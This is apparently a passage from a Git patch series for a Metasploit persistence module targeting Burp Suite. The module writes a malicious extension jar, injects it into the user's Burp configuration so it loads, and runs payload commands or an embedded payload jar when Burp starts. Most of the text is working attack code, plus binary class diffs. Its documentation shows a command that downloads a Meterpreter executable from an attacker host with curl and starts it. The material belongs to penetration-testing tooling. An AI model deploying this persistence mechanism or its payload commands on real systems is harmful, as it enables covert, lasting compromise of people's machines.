"\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00\x01\x07\x00\x98\x10\x00\x03\x01.\x00\x00\x00\x02\x01/\x010\x00\x00\x00\x1a\x00\x04\x011\x00\x01" - burp_extension_class << "\x017\x011\x00\x01\x019\x011\x00\x01\x01;\x011\x00\x01\x01=\x01?\x00\x00\x00\x0a\x00\x01\x01@\x01B\x01D\x00\x19" + burp_extension_class = File.read(File.join( + Msf::Config.data_directory, 'exploits', 'burp_extension', 'precompiled.class' + )) jar = Rex::Zip::Jar.new # build our manifest manually because its only one line and we don't need the extra From 86152f9dd1bb1c0fedf9981b3d798f269e531a7c Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Thu, 15 May 2025 07:03:30 +0200 Subject: [PATCH 12/23] Fixing payload --- modules/exploits/multi/local/burp_extension_persistence.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb index 64696c32af924..21071015dd7f6 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -44,9 +44,6 @@ def initialize(info = {}) # 'WfsDelay' => 90_000, 'PrependMigrate' => true }, - 'Payload' => { - 'BadChars' => '";\\' - }, 'Stance' => Msf::Exploit::Stance::Passive, 'Passive' => true, 'Targets' => [ From 413e091db6954d668da8c16b9d2ce9b7f68efbcc Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 21 May 2025 07:09:18 +0200 Subject: [PATCH 13/23] Adds headless execution --- modules/exploits/multi/local/burp_extension_persistence.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb index 21071015dd7f6..56a97e4d52966 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -280,15 +280,16 @@ def exploit jar = compiled_extension(extension_name) end - vprint_status("Writing malcious extension to disk: #{extension_location}") + vprint_status("Writing malicious extension to disk: #{extension_location}") - write_file(extension_location, jar) + fail_with Failure::PayloadFailed,"Failed to write malicious extension" unless write_file(extension_location, jar) if datastore['CONFIG'].blank? print_good('Extension enabled, waiting for Burp to open with the config.') else vprint_status('Updating config file') add_extension(datastore['CONFIG'], extension_location, extension_name) print_good('Extension written to disk, waiting for Burp to open and user to install extension.') + cmd_exec("java -jar -Djava.awt.headless=true burpsuite_pro.jar") end # stolen from exploit/multi/handler From b8890b63961c3d2dc7303c2d1837f26e6fe895ad Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 21 May 2025 15:16:21 +0200 Subject: [PATCH 14/23] Adds automatic execution --- .../multi/local/burp_extension_persistence.rb | 176 ++++++++++-------- 1 file changed, 95 insertions(+), 81 deletions(-) diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb index 56a97e4d52966..b2b017f97720b 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -76,9 +76,9 @@ def initialize(info = {}) register_options([ OptString.new('NAME', [ false, 'Name of the extension', '' ]), - OptString.new('CONFIG', [ false, 'Config file location on target', '' ]), + OptString.new('CONFIG_FILE', [ false, 'Config file location on target', '' ]), + OptString.new('BURP_JAR', [ false, 'Location of Burp JAR file', '' ]), OptString.new('WritableDir', [ true, 'A directory where we can write the extension']), - OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), ]) register_advanced_options([ OptString.new('GRADLE', [ false, 'Local Gradle executable', '/usr/bin/gradle' ]), @@ -91,6 +91,71 @@ def extension_name_generator rand_text_alphanumeric(4..10) end + def get_home + return cmd_exec('echo %USERPROFILE%').strip if ['windows', 'win'].include? session.platform + + return cmd_exec('echo ~').strip + end + + def get_userconfig_path + if !datastore['CONFIG_FILE'].blank? + return nil if file?(datastore['CONFIG_FILE']) + + return datastore['CONFIG_FILE'] + end + + home_path = get_home + + path = (['windows', 'win'].include? session.platform) ? home_path + '\\AppData\\Roaming\\Burpsuite\\' : home_path + '/.BurpSuite/' + if file?(path + 'UserConfigPro.json') + @pro = true + return path + 'UserConfigPro.json' + end + return path + 'UserConfigCommunity.json' if file?(path + 'UserConfigCommunity.json') + end + + def get_burp_executable + if !datastore['BURP_JAR'].blank? + return nil if file?(datastore['BURP_JAR']) + + return datastore['BURP_JAR'] + end + + home_path = get_home + + if @pro + burp_exec_path = (['windows', 'win'].include? session.platform) ? home_path + '\\AppData\\Local\\Programs\\BurpSuitePro\\burpsuite_pro.jar' : home_path + '/BurpSuitePro/burpsuite_pro.jar' + else + burp_exec_path = (['windows', 'win'].include? session.platform) ? home_path + '\\AppData\\Local\\Programs\\BurpSuiteCommunity\\burpsuite_community.jar' : home_path + '/BurpSuiteCommunity/burpsuite_community.jar' + end + return burp_exec_path if file?(burp_exec_path) + end + + def modify_user_config(extension_location, extension_name) + user_config = read_file(@userconfig_path) + + path = store_loot('burp.config.json', 'application/json', session, user_config, nil, nil) + print_good("Config file saved in: #{path}") + user_config_json = JSON.parse(user_config) + extensions_config = user_config_json.dig('user_options', 'extender', 'extensions') + + fail_with Failure::PayloadFailed, 'Failed to get extension configuration' unless extensions_config + + malicious_extension = { + 'errors' => 'ui', + 'extension_file' => extension_location, + 'extension_type' => 'java', + 'loaded' => true, + 'name' => extension_name, + 'output' => 'ui', + 'use_ai' => false + } + extensions_config.unshift(malicious_extension) + user_config_json['user_options']['extender']['extensions'] = extensions_config + + fail_with Failure::PayloadFailed, 'Module failed to overwrite UserConfig file' unless write_file(@userconfig_path, JSON.generate(user_config_json)) + end + def check if action.name == 'build' if File.exist?(datastore['GRADLE']) @@ -100,24 +165,10 @@ def check end end - configs = get_configs_from_settings - configs.each do |config| - if file?(config) - print_status("Found config: #{config}") - else - print_status("Config mentioned in settings, but not found: #{config}") - end - end - - print_bad('User has no saved configs in their settings') if configs.empty? - - if datastore['config'].blank? - return CheckCode::Detected('No config file listed, only writing plugin to disk') - elsif file?(datastore['config']) - return CheckCode::Detected("Config file found: #{datastore['config']}") - end + @userconfig_path = get_userconfig_path - CheckCode::Safe("Config file not found: #{datastore['config']}") + CheckCode::Safe("Config file not found: #{datastore['config']}") unless @userconfig_path + CheckCode::Detected("Found UserConfig file #{@userconfig_path}") end def add_extension(settings_file, extension_location, extension_name) @@ -149,56 +200,6 @@ def add_extension(settings_file, extension_location, extension_name) write_file(settings_file, JSON.pretty_generate(config_contents, { 'space' => '', 'indent' => ' ' * 4 })) end - def target_user - return datastore['USER'] unless datastore['USER'].blank? - - return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform - - whoami - end - - # windows stores these settings in the registry - # *nix stores them in a prefs.xml file - def get_configs_from_settings - me = target_user - config_files = [] - if ['windows', 'win'].include? session.platform - key = 'HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\burp' - for i in 0..100 # place a hard upper limit just in case - value = registry_getvaldata(key, "free.suite.recent/Config/Files#{i}") - - break if value.nil? - - value = value.sub(%r{^/}, '') # remove leading slash. Example entry: /C:///Users//windows///Desktop//burp_user_settings.json - config_files << value - end - else - [ - "/home/#{me}/.java/.userPrefs/burp/prefs.xml", - "/home/#{me}/.java/.userPrefs/burp/community/prefs.xml" - ].each do |f| - next unless file?(f) - - vprint_status("Found config file: #{f}") - xml_content = read_file(f) # Replace with the path to your XML file - - doc = Nokogiri::XML(xml_content) - - # Extract entries from where key starts with 'free.suite.recentConfigFiles' - # its an array so free.suite.recentConfigFiles1, free.suite.recentConfigFiles2, etc - entries = doc.xpath('//map/entry').select do |entry| - entry['key']&.start_with?('free.suite.recentConfigFiles') - end - - # Get the values for those entries - entries.each do |entry| - config_files << entry['value'] - end - end - end - config_files - end - def run_local_gradle_build(extension_name) # Check if gradle is installed fails_with(Failure::NotFound, 'Gradle is not installed on the local system.') unless File.exist?(datastore['GRADLE']) @@ -264,10 +265,26 @@ def compiled_extension(extension_name) end def exploit + # get UserConfig file path + unless @userconfig_path + get_userconfig_path + end + + vprint_status("Burp UserConfig file: #{@userconfig_path}") + # get Burp executable + burp_path = get_burp_executable + + fail_with Failure::NotFound, 'Burp JAR file was not found' unless burp_path + + vprint_status("Burp JAR file: #{burp_path}") + # RuntimeError `writable?' method does not support Windows systems if !['windows', 'win'].include?(session.platform) && !writable?(datastore['WritableDir']) fail_with(Failure::NotFound, "Unable to write to WritableDir: #{datastore['WritableDir']}") end + + # create extension + print_status('Creating extension') extension_name = extension_name_generator print_status("Using extension name: #{extension_name}") extension_location = "#{datastore['WritableDir']}/#{extension_name}.jar" @@ -280,17 +297,17 @@ def exploit jar = compiled_extension(extension_name) end + # store extension on target's machine vprint_status("Writing malicious extension to disk: #{extension_location}") - fail_with Failure::PayloadFailed,"Failed to write malicious extension" unless write_file(extension_location, jar) - if datastore['CONFIG'].blank? - print_good('Extension enabled, waiting for Burp to open with the config.') - else - vprint_status('Updating config file') - add_extension(datastore['CONFIG'], extension_location, extension_name) - print_good('Extension written to disk, waiting for Burp to open and user to install extension.') - cmd_exec("java -jar -Djava.awt.headless=true burpsuite_pro.jar") - end + fail_with Failure::PayloadFailed, 'Failed to write malicious extension' unless write_file(extension_location, jar) + # overwrite configuration + vprint_status('Modifying Burp configuration and adding malicious extension') + modify_user_config(extension_location, extension_name) + + # run headless Burp + vprint_status('Running Burp in headless mode') + vprint_status("Running Burp JAR: #{cmd_exec("java -jar -Djava.awt.headless=true #{burp_path}")}") # stolen from exploit/multi/handler stime = Time.now.to_f @@ -300,8 +317,5 @@ def exploit Rex::ThreadSafe.sleep(1) end - - # config files must be applied, and on boot doesn't seem to work - # /usr/lib/jvm/java-23-openjdk-amd64/bin/java -jar -Xmx4g -Djava.awt.headless=true /usr/share/burpsuite/burpsuite.jar burp.StartBurp --user-config-file=/tmp/burp.json & end end From 37cd1f27b0819db767517cd2eca36ac4d7dd50ed Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 4 Jan 2026 08:21:06 -0500 Subject: [PATCH 15/23] move burp files and modernize with persistence mixin --- .../burp_extension.md} | 0 .../burp_extension.rb} | 3 ++- 2 files changed, 2 insertions(+), 1 deletion(-) rename documentation/modules/exploit/multi/{local/burp_extension_persistence.md => persistence/burp_extension.md} (100%) rename modules/exploits/multi/{local/burp_extension_persistence.rb => persistence/burp_extension.rb} (99%) diff --git a/documentation/modules/exploit/multi/local/burp_extension_persistence.md b/documentation/modules/exploit/multi/persistence/burp_extension.md similarity index 100% rename from documentation/modules/exploit/multi/local/burp_extension_persistence.md rename to documentation/modules/exploit/multi/persistence/burp_extension.md diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/persistence/burp_extension.rb similarity index 99% rename from modules/exploits/multi/local/burp_extension_persistence.rb rename to modules/exploits/multi/persistence/burp_extension.rb index b2b017f97720b..582e9ee3115ac 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/persistence/burp_extension.rb @@ -14,6 +14,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Windows::Registry + include Msf::Exploit::Local::Persistence def initialize(info = {}) super( @@ -264,7 +265,7 @@ def compiled_extension(extension_name) jar end - def exploit + def install_persistence # get UserConfig file path unless @userconfig_path get_userconfig_path From 05345e96f2367ca47af8dcd5f274a5e4b515a47d Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 5 Jan 2026 15:44:39 -0500 Subject: [PATCH 16/23] temp --- .../multi/persistence/burp_extension.rb | 64 +++++++++---------- 1 file changed, 31 insertions(+), 33 deletions(-) diff --git a/modules/exploits/multi/persistence/burp_extension.rb b/modules/exploits/multi/persistence/burp_extension.rb index 582e9ee3115ac..83ff9e1ae869b 100644 --- a/modules/exploits/multi/persistence/burp_extension.rb +++ b/modules/exploits/multi/persistence/burp_extension.rb @@ -41,12 +41,8 @@ def initialize(info = {}) [ 'URL', 'https://portswigger.net/burp/documentation/desktop/troubleshooting/launch-from-command-line' ] ], 'DefaultOptions' => { - # 25hrs, you know, just in case the user doesn't open Burp for a while - # 'WfsDelay' => 90_000, 'PrependMigrate' => true }, - 'Stance' => Msf::Exploit::Stance::Passive, - 'Passive' => true, 'Targets' => [ [ 'Java', { @@ -78,8 +74,7 @@ def initialize(info = {}) register_options([ OptString.new('NAME', [ false, 'Name of the extension', '' ]), OptString.new('CONFIG_FILE', [ false, 'Config file location on target', '' ]), - OptString.new('BURP_JAR', [ false, 'Location of Burp JAR file', '' ]), - OptString.new('WritableDir', [ true, 'A directory where we can write the extension']), + OptString.new('BURP_JAR', [ false, 'Location of Burp JAR file', '' ]) ]) register_advanced_options([ OptString.new('GRADLE', [ false, 'Local Gradle executable', '/usr/bin/gradle' ]), @@ -92,22 +87,34 @@ def extension_name_generator rand_text_alphanumeric(4..10) end + def window_target? + ['windows', 'win'].include? session.platform + end + def get_home - return cmd_exec('echo %USERPROFILE%').strip if ['windows', 'win'].include? session.platform + return cmd_exec('cmd /c echo %USERPROFILE%').strip if window_target? return cmd_exec('echo ~').strip end + def writable_dir + d = super + return session.sys.config.getenv(d) if d.start_with?('%') + + d + end + def get_userconfig_path - if !datastore['CONFIG_FILE'].blank? + unless datastore['CONFIG_FILE'].blank? return nil if file?(datastore['CONFIG_FILE']) return datastore['CONFIG_FILE'] end home_path = get_home + vprint_status("Home path detected as: #{home_path}") - path = (['windows', 'win'].include? session.platform) ? home_path + '\\AppData\\Roaming\\Burpsuite\\' : home_path + '/.BurpSuite/' + path = (window_target?) ? home_path + '\\AppData\\Roaming\\Burpsuite\\' : home_path + '/.BurpSuite/' if file?(path + 'UserConfigPro.json') @pro = true return path + 'UserConfigPro.json' @@ -125,10 +132,10 @@ def get_burp_executable home_path = get_home if @pro - burp_exec_path = (['windows', 'win'].include? session.platform) ? home_path + '\\AppData\\Local\\Programs\\BurpSuitePro\\burpsuite_pro.jar' : home_path + '/BurpSuitePro/burpsuite_pro.jar' - else - burp_exec_path = (['windows', 'win'].include? session.platform) ? home_path + '\\AppData\\Local\\Programs\\BurpSuiteCommunity\\burpsuite_community.jar' : home_path + '/BurpSuiteCommunity/burpsuite_community.jar' + burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuitePro\\burpsuite_pro.jar' : home_path + '/BurpSuitePro/burpsuite_pro.jar' + return burp_exec_path if file?(burp_exec_path) end + burp_exec_path = (window_target?) ? home_path + '\\AppData\\Local\\BurpSuiteCommunity\\burpsuite_community.jar' : home_path + '/BurpSuiteCommunity/burpsuite_community.jar' return burp_exec_path if file?(burp_exec_path) end @@ -167,8 +174,7 @@ def check end @userconfig_path = get_userconfig_path - - CheckCode::Safe("Config file not found: #{datastore['config']}") unless @userconfig_path + CheckCode::Safe("Config file not found: #{datastore['config']}") if @userconfig_path.nil? CheckCode::Detected("Found UserConfig file #{@userconfig_path}") end @@ -266,6 +272,12 @@ def compiled_extension(extension_name) end def install_persistence + fail_with(Failure::BadConfig, 'WritableDir can not be blank') if writable_dir.empty? + + # RuntimeError `writable?' method does not support Windows systems + if !window_target? && !writable?(writable_dir) + fail_with(Failure::NotFound, "Unable to write to WritableDir: #{writable_dir}") + end # get UserConfig file path unless @userconfig_path get_userconfig_path @@ -279,16 +291,15 @@ def install_persistence vprint_status("Burp JAR file: #{burp_path}") - # RuntimeError `writable?' method does not support Windows systems - if !['windows', 'win'].include?(session.platform) && !writable?(datastore['WritableDir']) - fail_with(Failure::NotFound, "Unable to write to WritableDir: #{datastore['WritableDir']}") - end - # create extension print_status('Creating extension') extension_name = extension_name_generator print_status("Using extension name: #{extension_name}") - extension_location = "#{datastore['WritableDir']}/#{extension_name}.jar" + if window_target? + extension_location = "#{writable_dir}\\#{extension_name}.jar" + else + extension_location = "#{writable_dir}/#{extension_name}.jar" + end vprint_status('Creating JAR file') case action.name @@ -305,18 +316,5 @@ def install_persistence # overwrite configuration vprint_status('Modifying Burp configuration and adding malicious extension') modify_user_config(extension_location, extension_name) - - # run headless Burp - vprint_status('Running Burp in headless mode') - vprint_status("Running Burp JAR: #{cmd_exec("java -jar -Djava.awt.headless=true #{burp_path}")}") - - # stolen from exploit/multi/handler - stime = Time.now.to_f - timeout = datastore['ListenerTimeout'].to_i - loop do - break if timeout > 0 && (stime + timeout < Time.now.to_f) - - Rex::ThreadSafe.sleep(1) - end end end From 1a6aaa91d0bfd8f523f45a9105dc5b3145997ac2 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 13 Jan 2026 16:50:21 -0500 Subject: [PATCH 17/23] fix up windows implementation --- modules/exploits/multi/persistence/burp_extension.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/multi/persistence/burp_extension.rb b/modules/exploits/multi/persistence/burp_extension.rb index 83ff9e1ae869b..1dd71ae4eba27 100644 --- a/modules/exploits/multi/persistence/burp_extension.rb +++ b/modules/exploits/multi/persistence/burp_extension.rb @@ -283,7 +283,11 @@ def install_persistence get_userconfig_path end + if @userconfig_path.nil? + fail_with(Failure::NotFound, 'User does not have a UserConfig file, likely Burp was installed but never run') + end vprint_status("Burp UserConfig file: #{@userconfig_path}") + # get Burp executable burp_path = get_burp_executable From fa83217a079923571ad81c0cc5a0c7f7721766d8 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 15 Jan 2026 16:15:48 -0500 Subject: [PATCH 18/23] burp extension java target working --- data/exploits/burp_extension/README.md | 10 ++++++++++ data/exploits/burp_extension/notes.txt | 8 -------- .../burp_extension/src/main/java/BurpExtender.java | 6 +----- modules/exploits/multi/persistence/burp_extension.rb | 6 +++++- 4 files changed, 16 insertions(+), 14 deletions(-) create mode 100644 data/exploits/burp_extension/README.md delete mode 100644 data/exploits/burp_extension/notes.txt diff --git a/data/exploits/burp_extension/README.md b/data/exploits/burp_extension/README.md new file mode 100644 index 0000000000000..fbaadba01f654 --- /dev/null +++ b/data/exploits/burp_extension/README.md @@ -0,0 +1,10 @@ +Build: `gradle clean build` + +Extension Location: `build/libs/MetasploitPayloadExtension.jar` + +Updating payload in module: + 1. Run the build command inside of this folder (`data/exploits/burp_extension`) + 2. `jar xf build/libs/MetasploitPayloadExtension.jar` + 1. Use this command to print out the hex: `python3 -c "with open('burp/BurpExtender.class', 'rb') as f: print(''.join([chr(b) if 32 <= b <= 126 else '\\\\x{:02x}'.format(b) for b in f.read()]))"` + 2. You'll still need to escape `\` and `"` characters. + 3. cp `burp/BurpExtender.class` `/data/exploits/burp_extension/precompiled.class` diff --git a/data/exploits/burp_extension/notes.txt b/data/exploits/burp_extension/notes.txt deleted file mode 100644 index a45c7ffa75476..0000000000000 --- a/data/exploits/burp_extension/notes.txt +++ /dev/null @@ -1,8 +0,0 @@ -Build: `gradle clean build` -Extension Location: build/libs/MetasploitPayloadExtension.jar -Updating payload in module: - 1. Run the build command inside of this folder (data/exploits/burp_extension) - 2. jar xf build/libs/MetasploitPayloadExtension.jar - 1. Use this command to print out the hex: python3 -c "with open('burp/BurpExtender.class', 'rb') as f: print(''.join([chr(b) if 32 <= b <= 126 else '\\\\x{:02x}'.format(b) for b in f.read()]))" - 2. You'll still need to escape \ and " characters. - 3. cp burp/BurpExtender.class /data/exploits/burp_extension/precompiled.class diff --git a/data/exploits/burp_extension/src/main/java/BurpExtender.java b/data/exploits/burp_extension/src/main/java/BurpExtender.java index 656234670fc7f..e73806af72412 100644 --- a/data/exploits/burp_extension/src/main/java/BurpExtender.java +++ b/data/exploits/burp_extension/src/main/java/BurpExtender.java @@ -55,26 +55,22 @@ public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", command}); } } else { - stdout.println("XXX using jar file"); // Load burp_extension_pload.jar from resources - stdout.println("XXX getting resource as stream"); InputStream jarInputStream = getClass().getClassLoader().getResourceAsStream("burp_extension_pload.jar"); if (jarInputStream == null) { throw new Exception("burp_extension_pload.jar not found in resources"); } // Save the jar to a temporary file - stdout.println("XXX creating temp jar file"); File tempJar = File.createTempFile("burp_extension_pload", ".jar"); tempJar.deleteOnExit(); - stdout.println("XXX writing temp content"); try (InputStream inputStream = jarInputStream) { // Declare jarInputStream as a resource java.nio.file.Files.copy(inputStream, tempJar.toPath(), java.nio.file.StandardCopyOption.REPLACE_EXISTING); } // Load the jar using URLClassLoader - stdout.println("Loading internal pload jar"); + stdout.println("Loading internal jar"); try (URLClassLoader classLoader = new URLClassLoader( new URL[]{tempJar.toURI().toURL()}, null // Use null for an isolated class loader diff --git a/modules/exploits/multi/persistence/burp_extension.rb b/modules/exploits/multi/persistence/burp_extension.rb index 1dd71ae4eba27..ce66315dad1d4 100644 --- a/modules/exploits/multi/persistence/burp_extension.rb +++ b/modules/exploits/multi/persistence/burp_extension.rb @@ -265,7 +265,11 @@ def compiled_extension(extension_name) jar.add_file('META-INF/MANIFEST.MF', "Manifest-Version: 1.0\r\n\r\n") jar.add_file('burp/', '') jar.add_file('burp/BurpExtender.class', burp_extension_class) - jar.add_file('command.txt', payload.encoded) + if target.name == 'Java' + jar.add_file('burp_extension_pload.jar', generate_payload.encoded_jar(main_class: 'burp_extension_pload').pack) + else + jar.add_file('command.txt', payload.encoded) + end jar.add_file('name.txt', extension_name) jar From 7ccf574e9997f2a9878d1b33c9a39d23def9c226 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 16 Jan 2026 08:44:27 -0500 Subject: [PATCH 19/23] burp extension all working --- .gitignore | 3 + data/exploits/burp_extension/README.md | 15 +- .../exploits/burp_extension/precompiled.class | Bin 6359 -> 6187 bytes .../multi/persistence/burp_extension.md | 570 +++++++++++++----- .../multi/persistence/burp_extension.rb | 9 +- 5 files changed, 435 insertions(+), 162 deletions(-) diff --git a/.gitignore b/.gitignore index 818bc0f616a26..4c3a47e26721c 100644 --- a/.gitignore +++ b/.gitignore @@ -102,3 +102,6 @@ rspec.failures #Ignore any base disk store files db/modules_metadata_base.pstore + +# gradle build files +**/.gradle diff --git a/data/exploits/burp_extension/README.md b/data/exploits/burp_extension/README.md index fbaadba01f654..7c878961c2c00 100644 --- a/data/exploits/burp_extension/README.md +++ b/data/exploits/burp_extension/README.md @@ -1,10 +1,9 @@ -Build: `gradle clean build` +# Prerequisites -Extension Location: `build/libs/MetasploitPayloadExtension.jar` +You'll need `gradle` which can be installed on Kali via `sudo apt-get install gradle` -Updating payload in module: - 1. Run the build command inside of this folder (`data/exploits/burp_extension`) - 2. `jar xf build/libs/MetasploitPayloadExtension.jar` - 1. Use this command to print out the hex: `python3 -c "with open('burp/BurpExtender.class', 'rb') as f: print(''.join([chr(b) if 32 <= b <= 126 else '\\\\x{:02x}'.format(b) for b in f.read()]))"` - 2. You'll still need to escape `\` and `"` characters. - 3. cp `burp/BurpExtender.class` `/data/exploits/burp_extension/precompiled.class` +# Build + +1. Build: `gradle clean build` + 1. Post build extension location: `build/libs/MetasploitPayloadExtension.jar` +2. Copy the files into the proper location: `cp build/classes/java/main/burp/BurpExtender.class precompiled.class` diff --git a/data/exploits/burp_extension/precompiled.class b/data/exploits/burp_extension/precompiled.class index c12d26d963462dbfd940e59cad479dc49edfe16b..28269fecf54f253472c254cad3a900c139047c2f 100644 GIT binary patch delta 2046 zcma)7dr(wm6#t#O%ii6)cNe&TauIM-z%&F+OjyN=Bwv^heC?>^CM)9LMcFlVnrWM+ z#+m-BkL*clFCu%0#!8ryWm=Y%m6>Up(%ZB&wJ4I#y<%fcnlroKIp6utcYeR$`OePn z9lUmsvh!@~7664*+@u5@lqwE6QqyHTKuB5`ye*ht9W*NQOP9|JEsj*x7*0GW4mb+j zb$D1s9EzQIR1BAOt)5`dTNtcWP>Cm0ti~E~x12>!iAFiY{S2O!(V*fvG>YBw9QRth zAmc?9FX3fTngV54RNh2*V&A1CfBz_*p=toLC_Y3BEj(D z>YA!Z-lX7)YDQAfjCWM*#Jggv>zepotY%TL%8>B^vzjHg+LE0rcB}XZAB#Rpz`F;Z z%Gj&oGwdUzin&UvSfh+~G@C*Wh~r9j#(o@BaR@mCr7{$m5DJHbl_8BAeOSd2G02@s zUx|tCEUg^}H4qLfD8P3rzQ+&Z9{13MIx{Tc7$@U6p-`-|=ZYORud@z6t2lv^LRItW zlo+A*>vdShuY|-~m)0)MFX5$hc_d_1gt%QD8}3juZImtQk?B6@COIYEuf;)T1`I=f8s1#LKkm2nUn71yacYWU_(b@e~M-gh(V6Qt=%6( zl3&r49q?>IT|is45f8O#k7$pzV7}k2yJM)<6~C&hru(>kGoB3C*5m2&7Cb*wSGOZa zS7TV$fK0!~+$MK#RlisF=-wDs=$M@QQF`i<$iP|uc zc4HE?V=@DelL#{zaI)mU6e)%MRFq3;m@4&WKNr)aJWQ8LF+(cDEU6qfGl$vIOw5rg zaSJ-5JV2e$S!FH}N${W%bIC?_sN{l;;>ZCfR$?{DCvNI@{*=iUlR|F3 z(S|Hi$pa4))W}Qm@G|A`lt774nP5C=l*C?|`2jKqVi!qLAqd?tu#GX5WX|_vPPHD|&SC!+T|%kx?Y0NroO}a;ci;3-TXTQx}H7bE!m&F>`I|=ITAC zE_!i!EZWRBnVRyP9gw;(_3}`f|L(~D^e}o3rTIdX5*ho;Wwi6Rt^>WzzB(@|jj7co p@Hpo1LrT<-u4J1AI}PSX?QgADS?fS+&8J~}uJBnQ`Dq07zW{XFxfK8a delta 2111 zcma)6Yj6`)6#mYp&2BcEq)l7w7E(ejAP8;2@QM_qP%RH1Lj_u3MwYTI!IIP@wcwvR zqchGh{=utIUx=V0f{LJ_EtHB1C_YdWQBgthg$O?Ig<|X3r7AxJok{LF_dLGyopbNq z4J8MMse8NHcK{eo<wGwiRbstPtHBGJ0wA|oEGjntb8?jht`_Bu0}v^;S$5o?Us zm_Z{EOeEu`u~@-M5pf3c?j>X`GHy1C>y2n#aru%OvmqIYMHSpHRy#wNw%|bx=_pn3 z5FyWktl?}MGifevIH%;p;;>UMSxZPOVjc<}CFEN1P4UP-;We>n(u^im)M1^5$FW|h zav^OH#d5&=B%YG-w1!Q1h7c6X<)FAl4!gJDSsBl1NMWn!lq1eIG|FffMM`eJ?M!J} z%vfM`7-8Ue)Tj?O)U(CnC1Zy$lshSrQQmS=6Ou4Hxh|pG?on3#u}pw!a-6fEN=A$ zXslS}E1+>=r!SDhL!TUtnsGbYOvp5W&|iF?k*^j`i^XniY>;W9IGHgtr;CXbajTZ( z!8>^;iIU8m5INY$TV6FvvsPPAr*v}ijz}iO3g)1V9GAfew{KaRIf$Ak=;{8uQkcc! zZWe=6kW+B`SEP^?R&{j`JloJx?Z0m;9_ZwlRUG4A?O)T1+OS)9r%=zvN347`tm&F% zc`U61PgFZLV`F72HdpD|ZVb@16k69IKkTu#**#k=?5)*3x;KTTy2nD_#z5Q9QOyXQ z)eZ}6X9~M2X)9i}(EV?u@Fqie{O@ptR_*Y=TbaUpVXy8bHb~VDM+ZV|`f!$2;nQ`{ zt%9tH8?*9ee%_9+z>j0rI*ejCr{y`(j*~sMi*1|LKr6nre5cy+qwV9qoGJXm1b?@) zv%@aVcG(esh(lTW!EDLE z9BCnLkYdf4&!px_Nf^>?sIl+U8R+Q55OR?U57uKIxk=-@=7NJfp^&mE2OcKqr(Sdsyi9p2<&qAK3Hqoxk9xB@lGQxw!`c+& zvligwE2)6;8Ac_O9MqR7xN#G8QIKseCTwK{;IgiF&(*iIepJBE!6P-%#T+N0kF<~q znW_VWrP` 7. Do: `run` -8. Once the extension is installed, you should get a shell +8. Once the extension is installed, and burp started, you should get a shell ## Options @@ -41,209 +40,480 @@ User to target, or current user if blank If action is set to build, the local location of the gradle executable to build the extension with. Defaults to `/usr/bin/gradle` -### Action: precompiled +## Action + +### precompiled Use pre-compiled bytecode, Gradle is not required -### Action: build +### build Build the extension locally with Gradle. ## Scenarios -### Linux/Kali Burp 2024.10.3 +### Burp 2025.12.3 on Windows 10, precompiled with Windows target -Initial access +Initial Access ``` -[msf](Jobs:0 Agents:0) > use exploit/multi/script/web_delivery -[*] Using configured payload windows/x64/meterpreter/reverse_tcp -[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > setg verbose +resource (/root/.msf4/msfconsole.rc)> setg verbose true verbose => true -[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > setg lhost 1.1.1.1 +resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 lhost => 1.1.1.1 -[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set target 0 -target => 0 -[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp -payload => python/meterpreter/reverse_tcp -[msf](Jobs:0 Agents:0) exploit(multi/script/web_delivery) > exploit -[*] Exploit running as background job 2. +resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL +fetch_command => CURL +resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true +fetch_pipe => true +resource (/root/.msf4/msfconsole.rc)> set lport 4450 +lport => 4450 +resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3 +FETCH_URIPATH => w3 +resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB +FETCH_FILENAME => mkaKJBzbDB +resource (/root/.msf4/msfconsole.rc)> to_handler +[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/VIFzePGTMLa1dcpTvMRQBg & start /B %TEMP%\mkaKJBzbDB.exe + +[*] Command to run on 